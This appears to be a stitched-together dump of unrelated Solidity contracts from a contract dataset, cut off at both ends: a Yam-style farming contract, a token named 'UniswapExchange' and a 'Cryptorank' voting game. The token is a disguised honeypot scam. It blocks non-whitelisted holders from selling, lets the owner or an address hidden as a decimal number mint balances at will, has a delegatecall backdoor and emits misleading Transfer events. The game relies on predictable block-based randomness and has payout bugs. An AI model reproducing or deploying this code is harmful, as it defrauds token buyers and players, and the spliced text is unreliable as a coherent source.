uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair,
bool isToken0
) internal view returns (uint priceCumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (isToken0) {
priceCumulative = IUniswapV2Pair(pair).price0CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
}
} else {
priceCumulative = IUniswapV2Pair(pair).price1CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
}
contract TWAPBoundedUPUNKS1221 {
using SafeMath for uint256;
uint256 internal constant BASE = 10**18;
uint256 internal constant ONE = 10**18;
IUniswapV2Pair internal uniswap_pair = IUniswapV2Pair(
0x9469313a1702dC275015775249883cFc35Aa94d8
);
IERC20 internal constant WETH = IERC20(
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
);
IERC20 internal constant UPUNKS = IERC20(
0x37a572b95d3FB5007a3519e73D4e9D6e0fc9De50
);
uint32 internal block_timestamp_last;
uint256 internal price_cumulative_last;
uint256 internal constant MIN_TWAP_TIME = 60 * 60;
uint256 internal constant MAX_TWAP_TIME = 120 * 60;
uint256 internal constant TWAP_BOUNDS = 5 * 10**15;
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
function bounds(uint256 uniswap_quote) internal view returns (uint256) {
uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE);
return minimum;
}
function bounds_max(uint256 uniswap_quote) internal view returns (uint256) {
uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE);
return maximum;
}
function withinBounds(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (bool)
{
uint256 uniswap_quote = consult();
uint256 quoted = quote(purchaseAmount, saleAmount);
uint256 minimum = bounds(uniswap_quote);
uint256 maximum = bounds_max(uniswap_quote);
return quoted > minimum && quoted < maximum;
}
function update_twap() public {
(
uint256 sell_token_priceCumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED");
price_cumulative_last = sell_token_priceCumulative;
block_timestamp_last = blockTimestamp;
}
function consult() internal view returns (uint256) {
(
uint256 sell_token_priceCumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
uint256 priceAverageSell = uint256(
uint224(
(sell_token_priceCumulative - price_cumulative_last) /
timeElapsed
)
);
uint256 purchasePrice;
if (priceAverageSell > uint192(-1)) {
purchasePrice = (priceAverageSell >> 112) * ONE;
} else {
purchasePrice = (priceAverageSell * ONE) >> 112;
}
return purchasePrice;
}
modifier timeBoundsCheck() {
uint256 elapsed_since_update = block.timestamp - block_timestamp_last;
require(
block.timestamp - block_timestamp_last < MAX_TWAP_TIME,
"Cumulative price snapshot too old"
);
require(
block.timestamp - block_timestamp_last > MIN_TWAP_TIME,
"Cumulative price snapshot too new"
);
_;
}
}
interface SynthMinter {
struct Unsigned {
uint256 rawValue;
}
struct PositionData {
Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
Unsigned withdrawalRequestAmount;
Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function create(
Unsigned calldata collateralAmount,
Unsigned calldata numTokens
) external;
function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory);
function withdraw(Unsigned calldata collateral_amount) external;
function positions(address account) external returns (PositionData memory);
function settleExpired() external returns (Unsigned memory);
function expire() external;
}
contract UPUNKS1221Farming is TWAPBoundedUPUNKS1221, UniHelper, YamSubGoverned {
enum ACTION {ENTER, EXIT}
constructor(address gov_) public {
gov = gov_;
}
SynthMinter minter = SynthMinter(
0xf35a80E4705C56Fd345E735387c3377baCcd8189
);
bool completed = true;
ACTION action;
address internal constant RESERVES = address(
0x97990B693835da58A281636296D2Bf02787DEa17
);
function _mint(uint256 collateral_amount, uint256 mint_amount) internal {
WETH.transferFrom(RESERVES, address(this), collateral_amount);
WETH.approve(address(minter), uint256(-1));
minter.create(
SynthMinter.Unsigned(collateral_amount),
SynthMinter.Unsigned(mint_amount)
);
}
function _repayAndWithdraw() internal {
UPUNKS.approve(address(minter), uint256(-1));
SynthMinter.PositionData memory position = minter.positions(
address(this)
);
uint256 upunksBalance = UPUNKS.balanceOf(address(this));
if (upunksBalance >= position.tokensOutstanding.rawValue) {
minter.redeem(position.tokensOutstanding);
} else {
minter.redeem(
SynthMinter.Unsigned(
position.tokensOutstanding.rawValue - upunksBalance <=
5 * 10**18
? position.tokensOutstanding.rawValue - 5 * 10**18
: upunksBalance
)
);
}
}
function enter() public timeBoundsCheck {
require(action == ACTION.ENTER, "Wrong action");
require(!completed, "Action completed");
uint256 upunksReserves;
uint256 wethReserves;
(upunksReserves, wethReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, upunksReserves),
"Market rate is outside bounds"
);
uint256 wethBalance = 119 * (10**18);
uint256 collateral_amount = (wethBalance * 79) / 100;
uint256 mint_amount = (collateral_amount * upunksReserves) /
wethReserves /
4;
_mint(collateral_amount, mint_amount);
_mintLPToken(uniswap_pair, UPUNKS, WETH, mint_amount, RESERVES);
completed = true;
}
function exit() public timeBoundsCheck {
require(action == ACTION.EXIT);
require(!completed, "Action completed");
uint256 upunksReserves;
uint256 wethReserves;
(upunksReserves, wethReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, upunksReserves),
"Market rate is outside bounds"
);
_burnLPToken(uniswap_pair, address(this));
_repayAndWithdraw();
WETH.transfer(RESERVES, WETH.balanceOf(address(this)));
uint256 upunksBalance = UPUNKS.balanceOf(address(this));
if (upunksBalance > 0) {
UPUNKS.transfer(RESERVES, upunksBalance);
}
completed = true;
}
function _approveEnter()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.ENTER;
}
function _approveExit()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.EXIT;
}
function _redeem(uint256 debt_to_pay)
public
onlyGovOrSubGov
{
minter.redeem(SynthMinter.Unsigned(debt_to_pay));
}
function _withdrawCollateral(uint256 amount_to_withdraw)
public
onlyGovOrSubGov
{
minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw));
}
function _settleExpired()
public
onlyGovOrSubGov
{
minter.settleExpired();
}
function masterFallback(address target, bytes memory data)
public
onlyGovOrSubGov
{
target.call.value(0)(data);
}
function _getTokenFromHere(address token)
public
onlyGovOrSubGov
{
IERC20 t = IERC20(token);
t.transfer(RESERVES, t.balanceOf(address(this)));
}
} | 0 | 2,277 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 445 |
pragma solidity^0.4.24;
contract Cryptorank{
using SafeMath for *;
using NameFilter for string;
struct Round
{
bool active;
address lastvoter;
uint256 jackpot;
uint256 start;
uint256 end;
uint256 tickets;
uint256 pot;
}
struct Coin
{
string symbol;
string name;
uint256 votes;
}
address[] public players;
Coin[] public coinSorting;
mapping(uint256 => Round) public rounds;
address private owner;
address public manager;
uint256 public roundid = 0;
uint256 constant private initvotetime = 1 hours;
uint256 constant private voteinterval = 90 seconds;
uint256 constant private maxvotetime = 24 hours;
uint256 public addcoinfee = 1 ether;
uint256 private SortingCoinstime;
uint256 public raiseethamount = 0;
uint8 public addcoinslimit = 5;
uint256 public tonextround = 0;
uint256 private fund = 0;
uint256 public nextRoundCoolingTime = 10 minutes;
uint256 public ticketPrice = 0.01 ether;
mapping(string=>bool) have;
mapping(string=>uint) cvotes;
mapping(uint256 => uint256) public awardedReward;
mapping(uint256 => uint256) public ticketHolderReward;
mapping(address => uint256) public selfharvest;
mapping(address => uint256) public selfvoteamount;
mapping(address => uint256) public selfvotes;
mapping(address => uint8) public selfOdds;
mapping(address => uint256) public selfpotprofit;
mapping(address => uint256) public selfcommission;
mapping(address => string) public playername;
mapping(address => address) public playerreferees;
mapping(bytes32 => uint256) public verifyName;
mapping(address => bool) public pState;
mapping(address => uint256) public raisemax;
modifier isactivity(uint256 rid){
require(rounds[rid].active == true);
_;
}
modifier onlyowner()
{
require(msg.sender == owner);
_;
}
modifier isRepeat(string _name)
{
require(have[_name]==false);
_;
}
modifier isHave (string _name)
{
require(have[_name]==true);
_;
}
event Sortime(address indexed adr,uint256 indexed time);
event AddCoin(uint _id,string _name,string _symbol);
constructor() public {
owner = msg.sender;
startRound();
}
function addcoin(string _name,string _symbol)
public
payable
isRepeat(_name)
{
require(addcoinslimit > 1);
if(msg.sender != owner){
require(msg.value >= addcoinfee);
}
uint id = coinSorting.push(Coin(_symbol,_name, 0)) - 1;
cvotes[_name]=id;
emit AddCoin(id,_name,_symbol);
have[_name]=true;
addcoinslimit --;
rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value);
}
function tovote(string _name,uint256 _votes,uint256 reward) private
isHave(_name)
{
coinSorting[cvotes[_name]].votes = coinSorting[cvotes[_name]].votes.add(_votes) ;
for(uint256 i = 0;i < players.length;i++){
address player = players[i];
uint256 backreward = reward.mul(selfvotes[player]).div(rounds[roundid].tickets);
selfharvest[player] = selfharvest[player].add(backreward);
}
}
function SortingCoins() public {
for(uint256 i = 0;i< coinSorting.length;i++){
for(uint256 j = i + 1;j < coinSorting.length;j++){
if(coinSorting[i].votes < coinSorting[j].votes){
cvotes[coinSorting[i].name] = j;
cvotes[coinSorting[j].name] = i;
Coin memory temp = Coin(coinSorting[i].symbol,coinSorting[i].name,coinSorting[i].votes);
coinSorting[i] = Coin(coinSorting[j].symbol,coinSorting[j].name,coinSorting[j].votes);
coinSorting[j] = Coin(temp.symbol,temp.name,temp.votes);
}
}
}
}
function setcoinfee(uint256 _fee) external onlyowner{
addcoinfee = _fee;
addcoinslimit = 5;
}
function getcoinSortinglength() public view returns(uint )
{
return coinSorting.length;
}
function getcvotesid(string _name)public view returns (uint)
{
return cvotes[_name];
}
function getcoinsvotes(string _name) public view returns(uint)
{
return coinSorting[cvotes[_name]].votes;
}
function raisevote()
payable
public
isactivity(roundid){
require(raiseethamount < 100 ether);
require(raisemax[msg.sender].add(msg.value) <= 1 ether);
uint256 raiseeth;
if(raiseethamount.add(msg.value) > 100 ether){
raiseeth = 100 - raiseethamount;
uint256 backraise = raiseethamount.add(msg.value) - 100 ether;
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(backraise);
}else{
raiseeth = msg.value;
}
raiseethamount = raiseethamount.add(raiseeth);
raisemax[msg.sender] = raisemax[msg.sender].add(raiseeth);
uint256 ticketamount = raiseeth.div(0.01 ether);
uint256 reward = msg.value.mul(51).div(100);
for(uint256 i = 0;i < players.length;i++){
address player = players[i];
uint256 backreward = reward.mul(selfvotes[player]).div(rounds[roundid].tickets);
selfharvest[player] = selfharvest[player].add(backreward);
}
allot(ticketamount);
}
function transferOwnership(address newOwner) public {
require(msg.sender == owner);
owner = newOwner;
}
function setManager(address _manager) public onlyowner{
manager = _manager;
}
function startRound() private{
roundid++;
rounds[roundid].active = true;
rounds[roundid].lastvoter = 0x0;
rounds[roundid].jackpot = tonextround;
rounds[roundid].start = now;
rounds[roundid].end = now + initvotetime;
rounds[roundid].tickets = 0;
rounds[roundid].pot = 0;
ticketPrice = 0.01 ether;
}
function calculatVotePrice()
public
view
returns(uint256){
uint256 playersnum = players.length;
if(playersnum <= 30)
return ticketPrice.mul(112).div(100);
if(playersnum>30 && playersnum <= 100)
return ticketPrice.mul(103).div(100);
if(playersnum > 100)
return ticketPrice.mul(101).div(100);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 100) * 100)) < selfOdds[msg.sender])
return(true);
else
return(false);
}
function airdrppReward()
private
returns(string){
if(airdrop() == false){
return "非常遗憾！没有空投！";
}
else{
if(selfvoteamount[msg.sender] <= 1 ether && rounds[roundid].pot >= 0.1 ether){
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(0.1 ether); }
rounds[roundid].pot = rounds[roundid].pot.sub(0.1 ether);
return "恭喜获得空投 0.1 ether";
}
if(1 ether < selfvoteamount[msg.sender] && selfvoteamount[msg.sender] <= 5 ether && rounds[roundid].pot >=0.5 ether){
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(0.5 ether);
rounds[roundid].pot = rounds[roundid].pot.sub(0.5 ether);
return "恭喜获得空投 0.5 ether";
}
if(selfvoteamount[msg.sender] > 5 ether && rounds[roundid].pot >= 1 ether){
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(1 ether);
rounds[roundid].pot = rounds[roundid].pot.sub(1 ether);
return "恭喜获得空投 1 ether";
}
}
function updateTimer(uint256 _votes)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > rounds[roundid].end && rounds[roundid].lastvoter == address(0))
_newTime = (_votes.mul(voteinterval)).add(_now);
else
_newTime = (_votes.mul(voteinterval)).add(rounds[roundid].end);
if (_newTime < (maxvotetime).add(_now))
rounds[roundid].end = _newTime;
else
rounds[roundid].end = maxvotetime.add(_now);
}
function voting (string _name)
payable
public
isactivity(roundid)
returns(string)
{
uint256 currentticketPrice = ticketPrice;
require(msg.value >= currentticketPrice);
string memory ifgetpot = airdrppReward();
require(now > (rounds[roundid].start + nextRoundCoolingTime) &&(now <= rounds[roundid].end ||rounds[roundid].lastvoter == address(0) ));
selfvoteamount[msg.sender] = selfvoteamount[msg.sender].add(msg.value);
uint256 votes = msg.value.div(currentticketPrice);
uint256 reward = msg.value.mul(51).div(100);
uint256 _now = now;
if(_now - SortingCoinstime >2 hours){
SortingCoins();
SortingCoinstime = _now;
emit Sortime(msg.sender,_now);
}
tovote(_name,votes,reward);
allot(votes);
calculateselfOdd();
ticketPrice = calculatVotePrice();
return ifgetpot;
}
function calculateselfOdd() private {
if(selfvoteamount[msg.sender] <= 1 ether)
selfOdds[msg.sender] = 25;
if(1 ether < selfvoteamount[msg.sender] &&selfvoteamount[msg.sender] <= 10 ether)
selfOdds[msg.sender] = 50;
if(selfvoteamount[msg.sender] > 10 ether)
selfOdds[msg.sender] = 75;
}
function allot(uint256 votes) private isactivity(roundid){
if(playerreferees[msg.sender] != address(0)){
selfcommission[playerreferees[msg.sender]] = selfcommission[playerreferees[msg.sender]].add(msg.value.mul(10).div(100));
}else{
rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value.mul(10).div(100));
}
if(selectplayer() == false){
players.push(msg.sender);
}
fund = fund.add(msg.value.mul(13).div(100));
ticketHolderReward[roundid] = ticketHolderReward[roundid].add(msg.value.mul(51).div(100));
rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value.mul(25).div(100));
rounds[roundid].pot = rounds[roundid].pot.add(msg.value.mul(1).div(100));
rounds[roundid].lastvoter = msg.sender;
rounds[roundid].tickets = rounds[roundid].tickets.add(votes);
selfvotes[msg.sender] = selfvotes[msg.sender].add(votes);
updateTimer(votes);
}
function endround() public isactivity(roundid) {
require(now > rounds[roundid].end && rounds[roundid].lastvoter != address(0));
uint256 reward = rounds[roundid].jackpot;
for(uint i = 0 ;i< players.length;i++){
address player = players[i];
uint256 selfbalance = selfcommission[msg.sender] + selfharvest[msg.sender] + selfpotprofit[msg.sender];
uint256 endreward = reward.mul(42).div(100).mul(selfvotes[player]).div(rounds[roundid].tickets);
selfcommission[player] = 0;
selfharvest[player] = 0;
selfpotprofit[player] = 0;
selfvoteamount[player] = 0;
selfvotes[player] = 0;
player.transfer(endreward.add(selfbalance));
}
rounds[roundid].lastvoter.transfer(reward.mul(48).div(100));
tonextround = reward.mul(10).div(100);
uint256 remainingpot = rounds[roundid].pot;
tonextround = tonextround.add(remainingpot);
rounds[roundid].active = false;
delete players;
players.length = 0;
startRound();
}
function registerNameXNAME(string _nameString,address _inviter)
public
payable {
require (msg.value >= 0.01 ether, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
require(verifyName[_name]!=1 ,"sorry that names already taken");
bool state = validation_inviter(_inviter);
require(state,"注册失败");
if(!pState[msg.sender]){
verifyName[_name] = 1;
playername[msg.sender] = _nameString;
playerreferees[msg.sender] = _inviter;
pState[msg.sender] = true;
}
manager.transfer(msg.value);
}
function validation_inviter (address y_inviter) public view returns (bool){
if(y_inviter== 0x0000000000000000000000000000000000000000){
return true;
}
else if(pState[y_inviter]){
return true;
}
else {
return false;
}
}
function withdraw() public{
uint256 reward = selfcommission[msg.sender] + selfharvest[msg.sender] + selfpotprofit[msg.sender];
uint256 subselfharvest = selfharvest[msg.sender];
selfcommission[msg.sender] = 0;
selfharvest[msg.sender] = 0;
selfpotprofit[msg.sender] = 0;
ticketHolderReward[roundid] = ticketHolderReward[roundid].sub(subselfharvest);
awardedReward[roundid] = awardedReward[roundid].add(reward);
msg.sender.transfer(reward);
}
function withdrawbymanager() public{
require(msg.sender == manager);
uint256 fundvalue = fund;
fund = 0;
manager.transfer(fundvalue);
}
function getpotReward() public view returns(uint256){
return selfpotprofit[msg.sender];
}
function getBonus() public view returns(uint256){
return selfvotes[msg.sender] / rounds[roundid].tickets * rounds[roundid].jackpot;
}
function selectplayer() public view returns(bool){
for(uint i = 0;i< players.length ;i++){
if(players[i] == msg.sender)
return true;
}
return false;
}
function getroundendtime() public view returns(uint256){
if(rounds[roundid].end >= now){
return rounds[roundid].end - now;
}
return 0;
}
function getamountvotes() public view returns(uint) {
return rounds[roundid].tickets;
}
function getjackpot() public view returns(uint)
{
return rounds[roundid].jackpot;
}
function () payable public {
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(msg.value);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
